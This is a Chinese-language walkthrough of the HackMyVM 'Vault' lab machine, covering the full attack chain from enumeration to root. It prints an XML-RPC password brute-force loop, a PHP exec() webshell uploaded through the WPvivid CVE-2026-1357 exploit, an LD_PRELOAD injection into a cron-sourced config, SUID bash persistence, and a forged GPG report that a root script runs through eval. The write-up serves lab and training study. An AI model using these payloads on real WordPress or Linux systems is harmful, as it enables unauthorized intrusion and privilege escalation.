HackMyVM Vault 通关记录|WordPress RCE、LD_PRELOAD 横向移动与 GPG sudo 提权
靶机链接:Vault
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.x | 攻击机 |
| Vault | 192.168.1.247 | Debian 10.13 (buster) |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| Web 枚举 | WordPress 6.9.4、管理员 kaada、XML-RPC 开启 | 锁定认证入口 |
| 凭据爆破 | 社区成员名作密码字典,XML-RPC 命中 kaada:wea5e1 | 获得 WordPress 管理员 |
| 初始 RCE | 激活 WPvivid,利用 CVE-2026-1357 上传 webshell | 获得 www-data 命令执行 |
| 横向到 ta0 | .service_config 可写 + .sys_update source 配置 | 通过 LD_PRELOAD 执行 evil.so |
| ta0 稳定访问 | SUID bash 写入 authorized_keys | 获得 ta0 SSH |
| Sublarge 凭据 | RSA Fermat 分解 token,修复损坏 OpenSSH 私钥 magic bytes | 获得 Sublarge SSH |
| root 提权 | sudo secure_audit 导入可控 GPG 公钥并 eval 解密内容 | 以 root 创建 SUID bash 并读取 root flag |
0x02 复现结论
2026-07-09 已在新靶机 192.168.1.247 完成从初始访问到 root 的复现:
python3 exploit.py -u http://192.168.1.247 -s id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/tmp/rootbash -p -c 'id; cat /root/root.txt'
# uid=1001(Sublarge) gid=1001(Sublarge) euid=0(root) groups=1001(Sublarge)
# flag{root-e1a0296022405b420f1ac3bf1731b3b8}
0x03 端口扫描
1. RustScan + Nmap 联动
rustscan -a 192.168.1.247 --range 1-65535 --ulimit 5000 -- -sV -sC -O -oN pentest_192.168.1.247_nmap.txt
关键结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.66 (Debian)
MAC Address: 08:00:27:2E:8A:88 (Oracle VirtualBox virtual NIC)
OS: Linux 4.15 - 5.19
Hostname: Vault.lan
2. 发现的攻击面
| 端口 | 服务 | 版本 | 攻击向量 |
|---|---|---|---|
| 22 | SSH | OpenSSH 8.4p1 | 密码爆破 |
| 80 | HTTP (WordPress) | Apache 2.4.66 + WP 6.9.4 | CMS漏洞/插件漏洞 |
0x04 Web 信息收集
1. WordPress 站点信息
# 获取首页信息
curl -s http://192.168.1.247/ | head -100
# 标题: mazesec社区成员 - 加入我们
# 检查 robots.txt
curl -s http://192.168.1.247/robots.txt
# 返回 403 Forbidden
# WordPress 版本识别
curl -s http://192.168.1.247/ | grep generator
# <meta name="generator" content="WordPress 6.9.4" />
站点架构:
- CMS: WordPress 6.9.4
- 主题: Twenty Twenty-Five (twentytwentyfive)
- 语言: 中文 (zh-Hans)
2. 敏感文件发现
# info.php 暴露 (goBuster 发现)
gobuster dir -u http://192.168.1.247 -w /usr/share/wordlists/dirb/common.txt -q
# info.php (Status: 200) ← 关键发现!
# 获取 PHP 配置信息
curl -s http://192.168.1.247/info.php | grep -E 'disable_functions|open_basedir|DOCUMENT_ROOT|Server API'
info.php 泄露的关键信息:
PHP Version: 8.3.19
Server API: Apache 2.0 Handler
DOCUMENT_ROOT: /var/www/wordpress
User/Group: www-data(33)/33
disable_functions: system,passthru,shell_exec,proc_open,pcntl_exec,dl
open_basedir: no value (未设置)
Loaded Modules: ... mod_rewrite ...
3. WPScan 全面扫描
# 用户和插件枚举
wpscan --url http://192.168.1.247 --enumerate u,p,t,tt,cb --detection-mode aggressive \
--random-user-agent -o wpscan_results.txt
# 插件主动探测
wpscan --url http://192.168.1.247 --enumerate ap,at --detection-mode aggressive \
--plugins-detection aggressive --random-user-agent --force -o wpscan_plugins.txt
WPScan 结果:
用户: kaada (ID=1, 管理员)
XML-RPC: 已启用
上传目录: 目录浏览已启用 (/wp-content/uploads/)
WP-Cron: 外部触发已启用
主题: twentytwentyfive, twentytwentyfour, twentytwentythree
插件: Akismet (5.6), WPvivid Backup & Migration (0.9.122), Hello Dolly (1.7.2)
0x05 密码爆破
1. WordPress 用户发现
# REST API 用户枚举
curl -s http://192.168.1.247/wp-json/wp/v2/users
# 返回: 用户 kaada (ID=1), name="kaada", slug="kaada"
# 站点地图确认
curl -s http://192.168.1.247/wp-sitemap-users-1.xml
# 确认只有 kaada 一个用户
# 社区成员页面 HTML 注释中发现更多名字
curl -s http://192.168.1.247/2026/03/26/%e5%8d%9a%e5%ae%a2/ | grep -oP '<!-- \K[A-Za-z0-9@_\-]+(?= -->)' | sort -u
# 输出: 111, Ahiz, bamwue, BoPo, c1trus, cyl-love, DingTom, Eecho, flowerwitch,
# HGBE, HYH, kaada, LingMj, ll104567, Randark, S@Ku_yA, Sublarge, sunset,
# suraxddq, SuuuuRi, ta0, Todd, TriumphK, wackymaker, wea5e1, Yliken, Yolo, yulian
2. XML-RPC 密码爆破 (关键步骤)
# 方法: 使用 wp.getUsersBlogs XML-RPC 方法爆破
# 成功判断: 响应中包含 'isAdmin' 字符串
# 将社区成员名字作为密码列表逐一尝试 (共29个, 按字母序排列)
for pass in "111" "20206675" "Ahiz" "bamwue" "BoPo" "c1trus" "cyl-love" \
"DingTom" "Eecho" "flowerwitch" "HGBE" "HYH" "kaada" "LingMj" \
"ll104567" "Randark" "S@Ku_yA" "Sublarge" "sunset" "suraxddq" \
"SuuuuRi" "ta0" "Todd" "TriumphK" "wackymaker" "wea5e1" \
"Yliken" "Yolo" "yulian"; do
resp=$(curl -s -X POST http://192.168.1.247/xmlrpc.php \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?><methodCall><methodName>wp.getUsersBlogs</methodName>
<params><param><value><string>kaada</string></value></param>
<param><value><string>$pass</string></value></param></params></methodCall>")
if echo "$resp" | grep -q 'isAdmin'; then
echo "[SUCCESS] Password found: $pass"
break
fi
done
爆破过程:
[-] randark [-] bopo [-] sunset [-] hym
[-] todd [-] dingtom [-] c1trus [-] bamwue
[-] ta0 [-] ll104567 [-] cyl-love [-] sublarge
[-] lingmj [-] suuuuri [-] suraxddq [-] eecho
[-] ahiz [-] flowerwitch [-] wackymaker [+]
[SUCCESS] Password found: wea5e1
3. 爆破结果
| 用户名 | 密码 | 发现方式 |
|---|---|---|
| kaada | wea5e1 | XML-RPC 爆破 (密码来自社区成员列表) |
4. 登录验证
# 登录 WordPress
curl -s -X POST http://192.168.1.247/wp-login.php \
-d "log=kaada&pwd=wea5e1&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.247%2Fwp-admin%2F&testcookie=1" \
-c wp_cookies.txt -D wp_headers.txt
# 验证
curl -s -b wp_cookies.txt http://192.168.1.247/wp-admin/ | grep -c '仪表盘'
# 输出: 8 (确认管理员登录成功)
0x06 WordPress Admin → www-data RCE
1. 激活 WPvivid 插件 (关键!)
# 检查插件状态 - 发现所有插件均处于禁用状态!
curl -s -b wp_cookies.txt http://192.168.1.247/wp-admin/plugins.php | \
grep 'wpvivid-backuprestore'
# class="inactive" - 插件未激活!
# 激活 WPvivid
curl -s -b wp_cookies.txt \
"http://192.168.1.247/wp-admin/plugins.php?action=activate&plugin=wpvivid-backuprestore%2Fwpvivid-backuprestore.php&plugin_status=all&paged=1&s&_wpnonce=51597d51f9"
# → 重定向含 activate=true (激活成功)
_wpnonce 为动态值;51597d51f9 为验证过程中的示例值。
2. CVE-2026-1357 漏洞利用
漏洞信息:
- CVE: CVE-2026-1357
- CVSS: 9.8 (Critical)
- 影响: WPvivid Backup & Migration ≤ 0.9.123
- 类型: 无需认证的远程代码执行
- 利用链: 加密失败 → null key AES → 路径遍历写文件
利用步骤:
# 1. 获取 WPvivid AJAX nonce
curl -s -b wp_cookies.txt http://192.168.1.247/wp-admin/admin.php?page=WPvivid | \
grep -oP '"ajax_nonce":"([a-f0-9]+)"'
# nonce: e5a3c04d83
# 2. 生成 WPvivid 密钥 (漏洞利用的前提条件)
curl -s -b wp_cookies.txt -X POST \
"http://192.168.1.247/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=wpvivid_generate_url_ex&expires=24 hour&nonce=e5a3c04d83"
# → {"result":"success","url":"http://192.168.1.247?domain=...&token=..."}
# 3. 使用 Python 脚本发送恶意 payload
# 原理: 构造 null-key AES 加密的 JSON payload
# 包含路径遍历文件名 (../uploads/shell.php)
# 通过 wpvivid_action=send_to_site 端点上传
python3 exploit.py -u http://192.168.1.247 -c # 检测漏洞
python3 exploit.py -u http://192.168.1.247 -s id # 上传 webshell 执行命令
Webshell 详情:
- URL:
http://192.168.1.247/wp-content/uploads/3jip1ach1b1h6tgfr0m1qjr8.php - 执行方式:
?cmd=command - 使用
exec()函数 (system 被禁用) - 权限:
www-data
注意: 由于 system 在 disable_functions 中,PoC 默认 PHP payload 会 500,需改成 exec():
<?php if(isset($_GET["cmd"])){$o=[];$r=0;exec($_GET["cmd"]." 2>&1",$o,$r);echo implode("\n",$o);} ?>
0x07 信息收集 (www-data)
1. 系统枚举
# 通过 webshell 执行
curl -s --get --data-urlencode "cmd=id" \
"http://192.168.1.247/wp-content/uploads/3jip1ach1b1h6tgfr0m1qjr8.php"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -s "SHELL?cmd=cat /etc/passwd"
# 发现用户: ta0(1000), Sublarge(1001), Audit(1002)
curl -s "SHELL?cmd=ls -la /home"
# drwx------ Audit - Audit 家目录
# drwx------ Sublarge - Sublarge 家目录
# drwxr-xr-x ta0 - ta0 家目录 (可读)
2. 关键文件发现
curl -s "SHELL?cmd=ls -la /home/ta0"
# -rw------- ta0 ta0 1842 key ← SSH 私钥 (仅 ta0 可读)
# -rw------- ta0 ta0 842 broken.txt ← RSA 挑战
# -rw-r--r-- root root 44 user.txt ← User Flag (全局可读)
# lrwxrwxrwx root root 9 .bash_history -> /dev/null ← 反取证
# lrwxrwxrwx root root 9 .viminfo -> /dev/null ← 反取证
curl -s "SHELL?cmd=cat /home/ta0/user.txt"
# flag{user-4822dfe9f95a3d3e5daf056d1f49cf7c} ← 第1个 Flag!
3. MySQL 凭据发现
curl -s "SHELL?cmd=cat /var/www/wordpress/wp-config.php | grep DB_"
# define( 'DB_NAME', 'wordpress' );
# define( 'DB_USER', 'kaada' );
# define( 'DB_PASSWORD', 'wea5e1' ); ← 数据库密码复用
# define( 'DB_HOST', 'localhost' );
0x08 横向移动:www-data → ta0
1. 发现 .sys_update 定时任务
curl -s "SHELL?cmd=ls -la /var/tmp"
# -rwxr-xr-x ta0 ta0 420 .sys_update ← ta0 所有的可执行脚本
# -rw-r--r-- www-data www-data 35 .service_config ← 我们可写!
.sys_update 脚本内容:
#!/bin/bash
curr_sec=$(date +%-S)
if [ $curr_sec -lt 30 ]; then
diff=$((30 - curr_sec))
read -t $diff <> <(:) > /dev/null 2>&1
fi
CONF="/var/tmp/.service_config"
if [ -f "$CONF" ]; then
CHECK=$(grep -vE "^export [A-Z_]+=[/a-zA-Z0-9._-]+$" "$CONF")
if [ -z "$CHECK" ]; then
. "$CONF" # ← 关键: source 配置文件
fi
fi
exec -a "/usr/sbin/sys-stats-collect" /usr/bin/awk 'BEGIN{print "Job Done"}' > /dev/null 2>&1
漏洞分析:
.service_config由 www-data 可写- 正则验证:
^export [A-Z_]+=[/a-zA-Z0-9._-]+$ - 可注入
export LD_PRELOAD=/var/tmp/evil.so - 脚本以 ta0 身份运行 (每分钟 via crontab)
- LD_PRELOAD 使 evil.so 构造函数获得 ta0 权限
2. 编译恶意共享库 (evil.so)
完整源码:evil.c
# Kali 上交叉编译 (兼容 glibc 2.31)
gcc -shared -fPIC -o evil.so evil.c -static-libgcc
# 仅需 GLIBC_2.2.5, 兼容目标 glibc 2.31
ls -la evil.so
# -rwxrwxr-x kali kali 16192 evil.so
关键设计点:
- 全部使用
open/read/write/close等直接 syscall 封装,不调用 system()——当时 Apache 的exec()遭遇 "Unable to fork",依赖 fork 的system()同样不可用 __attribute__((constructor))确保在.sys_update调用exec awk之前执行- 在 Kali (glibc 2.42) 交叉编译,指定
-static-libgcc后仅需GLIBC_2.2.5 .sys_update每分钟由 ta0 crontab 触发:* * * * * /bin/bash /var/tmp/.sys_update
3. 部署攻击链
# 1. 通过 webshell 辅助脚本分块上传 evil.so 到目标
# webshell_client.py 中 WEBSHELL_URL 指向本轮 webshell:
# http://192.168.1.247/wp-content/uploads/3jip1ach1b1h6tgfr0m1qjr8.php
python3 webshell_client.py --upload evil.so /var/tmp/evil.so
# -rwxr-xr-x 1 www-data www-data 15944 ... /var/tmp/evil.so
# 2. 写入 .service_config
python3 webshell_client.py \
"printf 'export LD_PRELOAD=/var/tmp/evil.so\n' > /var/tmp/.service_config"
# 3. 等待 .sys_update 触发 (每分钟的第30秒)
# ta0 的 crontab: * * * * * /bin/bash /var/tmp/.sys_update
python3 webshell_client.py \
'for i in $(seq 1 80); do
if [ -f /var/tmp/ldpreload_done ]; then
cat /var/tmp/ldpreload_uid /var/tmp/ldpreload_done;
ls -l /var/tmp/bash_ta0 /var/tmp/ta0_key_copy /var/tmp/ta0_user_flag 2>/dev/null;
exit 0;
fi;
sleep 1;
done'
# uid=1000 gid=1000 euid=1000 egid=1000
# LD_PRELOAD payload executed as ta0
# -rwsr-xr-x 1 ta0 ta0 1168776 ... /var/tmp/bash_ta0
4. 获得 ta0 权限
# .sys_update 触发后, evil.so 构造函数执行
# 创建了 SUID bash:
python3 webshell_client.py "ls -la /var/tmp/bash_ta0"
# -rwsr-xr-x 1 ta0 ta0 1168776 /var/tmp/bash_ta0 ← ta0 SUID shell!
# 读取 ta0 的 SSH 私钥
python3 webshell_client.py --download /var/tmp/ta0_key_copy ta0_key_clean.txt
# saved ta0_key_clean.txt (1823 bytes)
# -----BEGIN OPENSSH PRIVATE KEY-----
# b3ByohfdbnhchskcbhdAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
# ...
# (部分内容被隐藏: 这里的信息被删除了)
# -----END RSA PRIVATE KEY-----
5. 写入 SSH 公钥获得稳定 Shell
# 使用 SUID bash 写入 authorized_keys
ssh-keygen -t ed25519 -f /tmp/vault_247_ed25519 -N '' -C vault247
PUB=$(cat /tmp/vault_247_ed25519.pub)
python3 webshell_client.py \
"/var/tmp/bash_ta0 -p -c 'mkdir -p /home/ta0/.ssh && \
echo \"$PUB\" > /home/ta0/.ssh/authorized_keys && \
chmod 700 /home/ta0/.ssh && chmod 600 /home/ta0/.ssh/authorized_keys && id'"
# uid=33(www-data) gid=33(www-data) euid=1000(ta0) groups=33(www-data)
#
# www-data 不能直接写 ta0 authorized_keys;
# 这里成功是因为 /var/tmp/bash_ta0 -p 带来了 euid=1000(ta0)。
# SSH 登录 ta0
ssh -i /tmp/vault_247_ed25519 ta0@192.168.1.247
# uid=1000(ta0) gid=1000(ta0) groups=1000(ta0) ✓
0x09 Sublarge 凭据准备:RSA Token 解密
1. RSA 挑战 (broken.txt)
ssh ta0@192.168.1.247 'cat /home/ta0/broken.txt'
内容翻译:
在一场代号为"暗箭"的安全行动中,MazeSec社区的老大ll104567获取了一台名为Vault的服务器 的一些信息。该服务器由Sublarge管理员管理。你需要获取加密的信息才能得到Sublarge权限。 12138对Sublarge里面的一些信息做了手脚。
N = 34290741416599402000364426406985307108788847346139849276056423456850484785031054576175547387593396760716456841067680666550537736929030835788005715533 e = 65537 C = 6306633972929323441109245980962040907076223927772663682932361844805694754336072683925275888222658229758199381118184386449967084124219498140114920047
去计算出来p和q,就可以得到加密的信息了。这个加密的信息可以多次利用!
2. RSA 解密
from Crypto.Util.number import long_to_bytes
N = 34290741416599402000364426406985307108788847346139849276056423456850484785031054576175547387593396760716456841067680666550537736929030835788005715533
e = 65537
C = 6306633972929323441109245980962040907076223927772663682932361844805694754336072683925275888222658229758199381118184386449967084124219498140114920047
# N 为 494 bits, 用 Fermat 因式分解 (p 和 q 非常接近)
import math
a = math.isqrt(N) + 1
while True:
b2 = a * a - N
b = math.isqrt(b2)
if b * b == b2:
p = a + b
q = a - b
break
a += 1
# 结果:
# p = 185177594261831261107671636325914207176977951206972553973305880445352621081
# q = 185177594261831261107671636325914207176977951206972553973305880445352555093
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(C, d, N)
plaintext = long_to_bytes(m)
print(plaintext)
# b'flag{sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==}'
解密结果分析:
Token: sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==
└── 16字节密钥 ──┘└─────── Base64 ────────────┘
Base64解码: b0c65f782c49a4c6c45f47cb 0000000e 5375626c61726765405661756c74 01020304
└─── AES/密钥材料 ───┘ └4B长度┘ └── "Sublarge@Vault" ──┘ └版本号┘
格式解读:
sMZfeCxJpMbEX0fL— 16 字节密钥材料\x00\x00\x00\x0e— 网络字节序长度 (14 = len("Sublarge@Vault"))Sublarge@Vault— 用户名@主机\x01\x02\x03\x04— 协议版本/类型标识
这个 token 的用途不是密码认证(su/SSH 均失败),而是用于修复 /home/ta0/key 中被损坏的 SSH 私钥,详见下方 0x10。
0x10 凭据恢复与用户切换:ta0 → Sublarge
本节目标:利用 ta0 用户可读的 /home/ta0/key 和 RSA 解出的 token,恢复出可用的 Sublarge SSH 私钥。
1. 获取损坏的私钥
本次复现从靶机直接读取 /home/ta0/key:
SSH_OPTS="-F /dev/null -o LogLevel=ERROR -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o BatchMode=yes"
ssh $SSH_OPTS -i /tmp/vault_247_ed25519 ta0@192.168.1.247 \
'id; hostname; ls -l /home/ta0/key; head -5 /home/ta0/key; tail -5 /home/ta0/key'
本次结果:
uid=1000(ta0) gid=1000(ta0) groups=1000(ta0)
Vault
-rw------- 1 ta0 ta0 1842 Apr 11 11:17 /home/ta0/key
-----BEGIN OPENSSH PRIVATE KEY-----
b3ByohfdbnhchskcbhdAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA8Le3BIFbL/x2Sj6XezgLN74alDkgAAAKA0SMbuYhfOdahinbXffT
5VvP/qBk9llf2jBMBGg0Jy2wMeAexvk8bRY18eEYVZTiES1alZgB//07hwSJWhfkd1l2Oh
ZGMjfOAQTo1ViBSdL9NaPe3Xqdy1398fglh6fsLYtAAism6RJI1KbCyBtTrUOGx5m/Fep2
1llgpyGtny92AENbP3rYkSrAxt8XQQ+zjCKZTsmHhzeVkSEFcAAACBAPJrzN1zxtevT6Fi
fS19n1QHKZXzkM2qx8yLvtoDmcww+LpN3bNBFJM6oAGBaWi+z7wZ795PhrocBaX9JlRuuq
+GplGimONDqrMX468nOJLy61xZuj2L1hi8shWDranUEKwIQi9KHvYgjX4i9xoUfvVbB838
sM*************************** #这里的信息被删除了
-----END RSA PRIVATE KEY-----
异常点:
- 最后一段 base64 被打码,但开头保留了
sM - footer 写成
END RSA PRIVATE KEY,但 header 是 OpenSSH 私钥 - RSA 解出的 token 同样以
sM开头:
sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==
修复思路:用 token 替换打码行,再修复 OpenSSH 私钥头部 magic bytes。
2. 修复原理
OpenSSH 私钥开头应为固定 magic bytes:
openssh-key-v1\0
拼接 token 后解码,fix_key.py 检查出的关键字段如下:
实际 magic: 6f 70 72 a2 17 dd 6e 78 5c 86 c9 1c 6e 17 40
期望 magic: 6f 70 65 6e 73 73 68 2d 6b 65 79 2d 76 31 00
字段检查: cipher=none, kdf=none, keytype=ssh-rsa
只有前 15 字节 magic 被破坏,私钥本体未加密且结构完整,直接替换为 openssh-key-v1\0 即可。
3. 运行修复脚本
python3 fix_key.py
chmod 600 sublarge_id_ed25519
ssh-keygen -y -f sublarge_id_ed25519 | head -c 100; echo
本次结果:
[*] Header: -----BEGIN OPENSSH PRIVATE KEY-----
[*] Footer: -----END RSA PRIVATE KEY-----
[*] 发现红acted行: sM*************************** #这里的信息被...
[*] Token 长度: 48 chars
[*] 红acted行之前 base64: 1680 chars
[*] 拼接后 base64: 1728 chars
[*] 解码后: 1294 bytes
─── 解码数据分析 ───
hex dump (前 40 bytes):
0000: 6f 70 72 a2 17 dd 6e 78 5c 86 c9 1c 6e 17 40 00 opr...nx\...n.@.
0010: 00 00 04 6e 6f 6e 65 00 00 00 04 6e 6f 6e 65 00 ...none....none.
0020: 00 00 00 00 00 00 01 00 00 01 17 00 00 00 07 73 ...............s
offset 0-14 magic (实际): 6f7072a217dd6e785c86c91c6e1740 -> b'opr\xa2\x17\xddnx\\\x86\xc9\x1cn\x17@'
offset 0-14 magic (期望): 6f70656e7373682d6b65792d763100 -> b'openssh-key-v1\x00'
magic 匹配: ✗ (需修复)
offset 19 cipher: none
offset 27 kdf: none
public key type: ssh-rsa
─── 修复后验证 ───
magic: b'openssh-key-v1\x00' -> ✓
cipher: none
kdf: none
[+] 密钥已保存: sublarge_id_ed25519
[+] 权限: 0600
[+] 使用: ssh -i sublarge_id_ed25519 Sublarge@192.168.1.247
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwt7cEgVsv/HZKPpd7OAs3vhqUOSAAAAoDRIxu5iF851qGKdtd99PlW8/+oGT2
4. SSH 登录 Sublarge
ssh $SSH_OPTS -i sublarge_id_ed25519 Sublarge@192.168.1.247 'id; hostname'
本次结果:
uid=1001(Sublarge) gid=1001(Sublarge) groups=1001(Sublarge)
Vault
至此完成普通用户切换:
ta0 → Sublarge
常见问题:
| 现象 | 处理 |
|---|---|
invalid format | 重新用 2>/dev/null 导出 /home/ta0/key,再跑 fix_key.py |
UNPROTECTED PRIVATE KEY FILE | chmod 600 sublarge_id_ed25519 |
Permission denied (publickey) | 用户名必须是 Sublarge,注意大小写 |
| token 当密码失败 | 正常现象;token 用于修复 key,不是系统密码 |
0x11 最终突破:sudo secure_audit Root 提权
本节目标:利用 Sublarge 的 sudo 权限执行 /usr/local/bin/secure_audit,伪造 GPG 签名报告,让脚本以 root 执行命令。
1. sudo 权限与脚本逻辑
ssh $SSH_OPTS -i sublarge_id_ed25519 Sublarge@192.168.1.247 \
'id; echo "--- sudo -l ---"; sudo -l; echo "--- secure_audit ---"; sed -n "1,80p" /usr/local/bin/secure_audit'
本次结果:
uid=1001(Sublarge) gid=1001(Sublarge) groups=1001(Sublarge)
--- sudo -l ---
Matching Defaults entries for Sublarge on Vault:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User Sublarge may run the following commands on Vault:
(root) NOPASSWD: /usr/local/bin/secure_audit
--- secure_audit ---
#!/bin/bash
GPG_BIN="/usr/bin/gpg"
PUB_KEY="/home/Sublarge/audit_pub.asc"
REPORT="/var/tmp/report.gpg"
$GPG_BIN --import "$PUB_KEY"
if $GPG_BIN --batch --trust-model always --verify "$REPORT"; then
echo "[+] 签名验证通过,正在执行审计指令..."
CMD=$($GPG_BIN --batch --decrypt "$REPORT" 2>/dev/null)
eval "$CMD"
else
echo "[-] 签名校验失败!"
exit 1
fi
漏洞点:
| 可控点 | 影响 |
|---|---|
/home/Sublarge/audit_pub.asc | Sublarge 可写,可放入自己的 GPG 公钥 |
/var/tmp/report.gpg | 普通用户可写,可放入自己签名的报告 |
--trust-model always | 只要签名匹配导入的公钥即可通过 |
eval "$CMD" | 报告明文会以 root 权限执行 |
利用链:
生成 GPG 密钥 → 导出公钥到 audit_pub.asc → clearsign payload 到 report.gpg → sudo 触发 eval
2. 生成 GPG 密钥与签名报告
以下命令在 Sublarge shell 中执行:
export GNUPGHOME=/home/Sublarge/.gnupg_vault
rm -rf "$GNUPGHOME"
mkdir -m 700 "$GNUPGHOME"
cat > /tmp/gpg_batch <<'EOF'
Key-Type: RSA
Key-Length: 2048
Name-Real: Audit
Name-Email: audit@vault.local
%no-protection
%commit
EOF
gpg --batch --homedir "$GNUPGHOME" --gen-key /tmp/gpg_batch
gpg --homedir "$GNUPGHOME" --armor --export audit@vault.local \
> /home/Sublarge/audit_pub.asc
cat > /tmp/payload.txt <<'EOF'
cp /bin/bash /var/tmp/rootbash
chmod 4755 /var/tmp/rootbash
cat /root/root.txt > /var/tmp/root_flag_copy
EOF
gpg --homedir "$GNUPGHOME" --batch --yes --clearsign \
--local-user audit@vault.local \
--output /var/tmp/report.gpg /tmp/payload.txt
复查公钥和签名报告:
ssh $SSH_OPTS -i sublarge_id_ed25519 Sublarge@192.168.1.247 \
'head -3 /home/Sublarge/audit_pub.asc; head -8 /var/tmp/report.gpg'
本次结果:
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBGpTBKYBCADDUEOBx1dH1YtNMYleIVu9TVk3nskHsTY3GyOOycC7PFwd8i/Z
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
cp /bin/bash /var/tmp/rootbash
chmod 4755 /var/tmp/rootbash
cat /root/root.txt > /var/tmp/root_flag_copy
-----BEGIN PGP SIGNATURE-----
3. 触发 sudo 提权
ssh $SSH_OPTS -i sublarge_id_ed25519 Sublarge@192.168.1.247 \
'sudo /usr/local/bin/secure_audit 2>&1; ls -l /var/tmp/rootbash /var/tmp/root_flag_copy; /var/tmp/rootbash -p -c "id; cat /root/root.txt"'
本次结果:
gpg: key E02BDC87F5E4C7BB: "Audit <audit@vault.local>" not changed
gpg: Total number processed: 1
gpg: unchanged: 1
gpg: Signature made Sat 11 Jul 2026 11:06:14 PM EDT
gpg: using RSA key FBE35A9DD5F2B9928E852551E02BDC87F5E4C7BB
gpg: issuer "audit@vault.local"
gpg: Good signature from "Audit <audit@vault.local>" [unknown]
gpg: WARNING: Using untrusted key!
[+] 签名验证通过,正在执行审计指令...
-rwsr-xr-x 1 root root 1168776 Jul 11 23:09 /var/tmp/rootbash
-rw-r--r-- 1 root root 94 Jul 11 23:09 /var/tmp/root_flag_copy
uid=1001(Sublarge) gid=1001(Sublarge) euid=0(root) groups=1001(Sublarge)
恭喜你
你想要什么,就可以得到什么
flag{root-e1a0296022405b420f1ac3bf1731b3b8}
not changed 是因为本轮复现前已导入过相同公钥;第一次导入时会显示 imported,不影响利用链判断。关键证据是 Good signature、进入“签名验证通过”分支,以及 /var/tmp/rootbash -p 显示 euid=0(root)。
4. 提权排错
| 现象 | 处理 |
|---|---|
sudo -l 无 secure_audit | 确认当前用户是 Sublarge |
| GPG 生成失败 | 重建 GNUPGHOME:rm -rf "$GNUPGHOME" && mkdir -m 700 "$GNUPGHOME" |
| 签名校验失败 | 重新导出 audit_pub.asc 并重新生成 /var/tmp/report.gpg |
没有生成 rootbash | 检查 /tmp/payload.txt 与 /var/tmp/report.gpg 是否为最新 |
rootbash 运行后不是 root | 必须加 -p:/var/tmp/rootbash -p -c 'id' |
0x12 最终成果 (Final Flags)
User Flag
- 路径:
/home/ta0/user.txt - 内容:
flag{user-4822dfe9f95a3d3e5daf056d1f49cf7c}
RSA Token
- 来源:
/home/ta0/broken.txtRSA 解密 - 内容:
flag{sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-e1a0296022405b420f1ac3bf1731b3b8}
凭据汇总
| 类型 | 用户 / 目标 | 值 | 来源 |
|---|---|---|---|
| WordPress 管理员 | kaada | wea5e1 | XML-RPC 爆破,密码来自社区成员列表 |
| WordPress 数据库 | kaada | wea5e1 | /var/www/wordpress/wp-config.php |
| ta0 SSH | ta0 | /tmp/vault_247_ed25519 公钥登录 | bash_ta0 -p 写入 authorized_keys |
| RSA Token | Sublarge@Vault | sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA== | Fermat 分解 broken.txt |
| Sublarge SSH | Sublarge | 修复后的 sublarge_id_ed25519 | token 拼接并修复 OpenSSH magic bytes |
| root 执行 | secure_audit | sudo /usr/local/bin/secure_audit | GPG 验签后 eval "$CMD" |
附件下载
| 文件 | 说明 |
|---|---|
| evil.c | LD_PRELOAD payload 源码,用于 ta0 定时任务横向移动 |
| fix_key.py | 修复损坏 OpenSSH 私钥 magic bytes,生成 Sublarge 登录密钥 |
| rsa_token.py | RSA token 分析 / 解密辅助脚本 |
| webshell_client.py | webshell 命令执行、上传、下载辅助客户端 |